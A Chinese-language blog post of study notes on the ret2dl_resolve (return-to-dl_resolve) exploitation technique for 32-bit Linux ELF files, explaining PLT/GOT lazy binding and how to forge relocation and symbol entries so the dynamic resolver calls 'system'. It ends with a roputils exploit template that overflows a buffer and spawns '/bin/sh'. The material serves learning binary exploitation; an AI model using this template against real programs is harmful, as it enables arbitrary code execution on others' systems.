return to dl_resolve無需leak記憶體實現利用

Ox9A82發表於2016-05-12

之前在drop看過一篇文章,是西電的Bigtang師傅寫的,這裡來學習一下姿勢做一些筆記。

 

0x01 基礎知識

Linux ELF檔案存在兩個很重要的表,一個是got表(.got.plt)一個是plt表(.plt)。這些存在的原因是ELF檔案使用了延遲繫結的技術。當我們呼叫一個函式時,如果這是第一次呼叫,會動用plt中的尋找函式找出這個函式的虛擬地址,然後寫入到got表中,之後第二次第三次呼叫就不需要再查詢,直接把got表中的內容取出使用就可以了。

為了實現這種設計的功能,plt程式碼中是這樣寫的

 1 0x8048340 <free@plt>:          jmp    DWORD PTR ds:0x804a00c
 2 0x8048346 <free@plt+6>:        push   0x0
 3 0x804834b <free@plt+11>:       jmp    0x8048330
 4 
 5 0x8048350 <malloc@plt>:        jmp    DWORD PTR ds:0x804a010
 6 0x8048356 <malloc@plt+6>:      push   0x8
 7 0x804835b <malloc@plt+11>:     jmp    0x8048330
 8 
 9 0x8048360 <puts@plt>:          jmp    DWORD PTR ds:0x804a014
10 0x8048366 <puts@plt+6>:        push   0x10
11 0x8048366 <puts@plt+11>:       jmp    0x8048330
0x804a00c、0x804a010、0x804a014是free、malloc、puts對應的got表地址。plt程式碼首先會取出got表中的值,然後做一個跳轉,如果是第一次呼叫函式,那麼got表中的值是指向plt第二句的,比如0x804a00c的值就是0x8048346。
plt的第二句會壓入序號,因為free是got表中第一項,所以是push 0x0。而malloc是表中第二項,所以是push 0x8。之後跳入0x8048330。

0x8048330處的程式碼如下所示
0x8048330:    push   DWORD PTR ds:0x804a004
0x8048336:    jmp    DWORD PTR ds:0x804a008

0x804a000是got表的起始地址。+8處儲存著查詢函式,這裡跳轉到查詢函式。

ELF檔案的節區如下所示(使用readelf -S ./tst)

vb@unun:~/桌面/double free$ readelf -S ./tst
共有 31 個節頭,從偏移量 0x1844 開始:

節頭:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000070 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804823c 00023c 00006a 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          080482a6 0002a6 00000e 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         080482b4 0002b4 000030 00   A  6   1  4
  [ 9] .rel.dyn          REL             080482e4 0002e4 000008 08   A  5   0  4
  [10] .rel.plt          REL             080482ec 0002ec 000020 08  AI  5  24  4
  [11] .init             PROGBITS        0804830c 00030c 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        08048330 000330 000050 04  AX  0   0 16
  [13] .plt.got          PROGBITS        08048380 000380 000008 00  AX  0   0  8
  [14] .text             PROGBITS        08048390 000390 0001e2 00  AX  0   0 16
  [15] .fini             PROGBITS        08048574 000574 000014 00  AX  0   0  4
  [16] .rodata           PROGBITS        08048588 000588 000011 00   A  0   0  4
  [17] .eh_frame_hdr     PROGBITS        0804859c 00059c 00002c 00   A  0   0  4
  [18] .eh_frame         PROGBITS        080485c8 0005c8 0000cc 00   A  0   0  4
  [19] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [21] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [22] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 00001c 04  WA  0   0  4
  [25] .data             PROGBITS        0804a01c 00101c 000008 00  WA  0   0  4
  [26] .bss              NOBITS          0804a040 001024 000084 00  WA  0   0 32
  [27] .comment          PROGBITS        00000000 001024 000034 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 001739 00010a 00      0   0  1
  [29] .symtab           SYMTAB          00000000 001058 000480 10     30  47  4
  [30] .strtab           STRTAB          00000000 0014d8 000261 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

 

 

0x02 如何利用

查詢函式的查詢過程

index_arg(push xx)——>.rel.plt(Elf32_Rel)——>.dynsym(Elf32_Sym)——>.dynstr(st_name)

事實上,虛擬地址是透過最後一個箭頭,即從st_name得來的,只要我們能夠修改這個st_name就可以執行任意函式。比如把st_name的內容修改成為"system"。

而index_arg是我們控制的,我們需要做的是透過一系列操作。把index_arg可控轉化為st_name可控。

 那麼我們要實現控制就要解決一下的幾個問題:

1.怎麼計算index_arg才能控制.rel.plt(Elf32_Rel)值?

index_arg是我們直接透過壓棧引數進行控制的,使用要偽造的目標地址減去.rel.plt段基地址就是index_arg的值。其中.rel.plt段使用IDA是不能看到的,所以這裡要使用objdump -s -j .rel.plt ./tst命令來檢視。

vb@unun:~/桌面$ objdump -s -j .rel.plt ./tst

./tst:     檔案格式 elf32-i386

Contents of section .rel.plt:
 80482ec 0ca00408 07010000 10a00408 07020000  ................
 80482fc 14a00408 07030000 18a00408 07050000  ................

由於我的目標地址處於bss段上的0x804A06,所以就需要進行如下的運算:

0x804A060-0x80482ec=7540,那麼我們的index_arg的值就應該是7540,以指向.rel.plt

2.怎麼構造.rel.plt(Elf32_Rel)才能控制.dynsym(Elf32_Sym)值?

當.rel.plt(Elf32_Rel)域落到可控區域之後要考慮的就是如何構造這個的值。

使用readelf -r命令可以看到這些reloc項,其中處於.rel.plt的用於函式重定位也正是我們的目標。

vb@unun:~/桌面$ readelf -r tst

重定位節 '.rel.dyn' 位於偏移量 0x2e4 含有 1 個條目:
 偏移量     資訊    型別              符號值      符號名稱
08049ffc  00000406 R_386_GLOB_DAT    00000000   __gmon_start__

重定位節 '.rel.plt' 位於偏移量 0x2ec 含有 4 個條目:
 偏移量     資訊    型別              符號值      符號名稱
0804a00c  00000107 R_386_JUMP_SLOT   00000000   gets@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
0804a014  00000307 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804a018  00000507 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

可以看出.rel.plt中的值滿足如下Elf32_Rel結構

typedef struct {
    Elf32_Addr r_offset;    // 這個值就是got表的虛擬地址
    Elf32_Word r_info;      // .dynsym節區符號表索引(下標為r_info>>8)
} Elf32_Rel;

其中第一項是對應的got表的地址。第二項經過>>8運算後是.dynsym節區的索引下標值,我們要控制的就是這一項。

r_info的計算方法是

1.n=(欲偽造的地址-.dynsym基地址)/0x10

2.r_info=n<<8

dynsym基地址使用objdump -s -j .dynsym ./tst來獲取。

3.怎麼構造.dynsym(Elf32_Sym)才能實現控制.dynstr(st_name)值?

typedef struct
{
    Elf32_Word    st_name;   /* Symbol name (string tbl index) 這個就是*/
    Elf32_Addr    st_value;  /* Symbol value */
    Elf32_Word    st_size;   /* Symbol size */
    unsigned char st_info;   /* Symbol type and binding */
    unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
    Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;

.dynsym節區包含了動態連結符號表,符號表由Elf32_Sym結構表示。具體情況如上所示。其中第一項就是其對應的st_name到.dynstr節起始的偏移值。我們要把偏移值指向我們的可控區域,就能實現控制st_name

.dynstr的基地址由objdump -s -j .dynstr ./tst來獲得。

3. .dynstr寫入system完成利用

.dynstr節包含了動態連結的字元,字串是直接以ASCII碼的形式儲存的。所以在指標指向的地方直接寫入ASCII形式的system即可達成利用!

 

0x03 現成的指令碼模版

來自Github

from roputils import *

fpath = sys.argv[1]
offset = int(sys.argv[2])

rop = ROP(fpath)
addr_bss = rop.section('.bss')

buf = rop.retfill(offset)
buf += rop.call('read', 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

p = Proc(rop.fpath)
p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.write(buf)
p.interact(0)

 

相關文章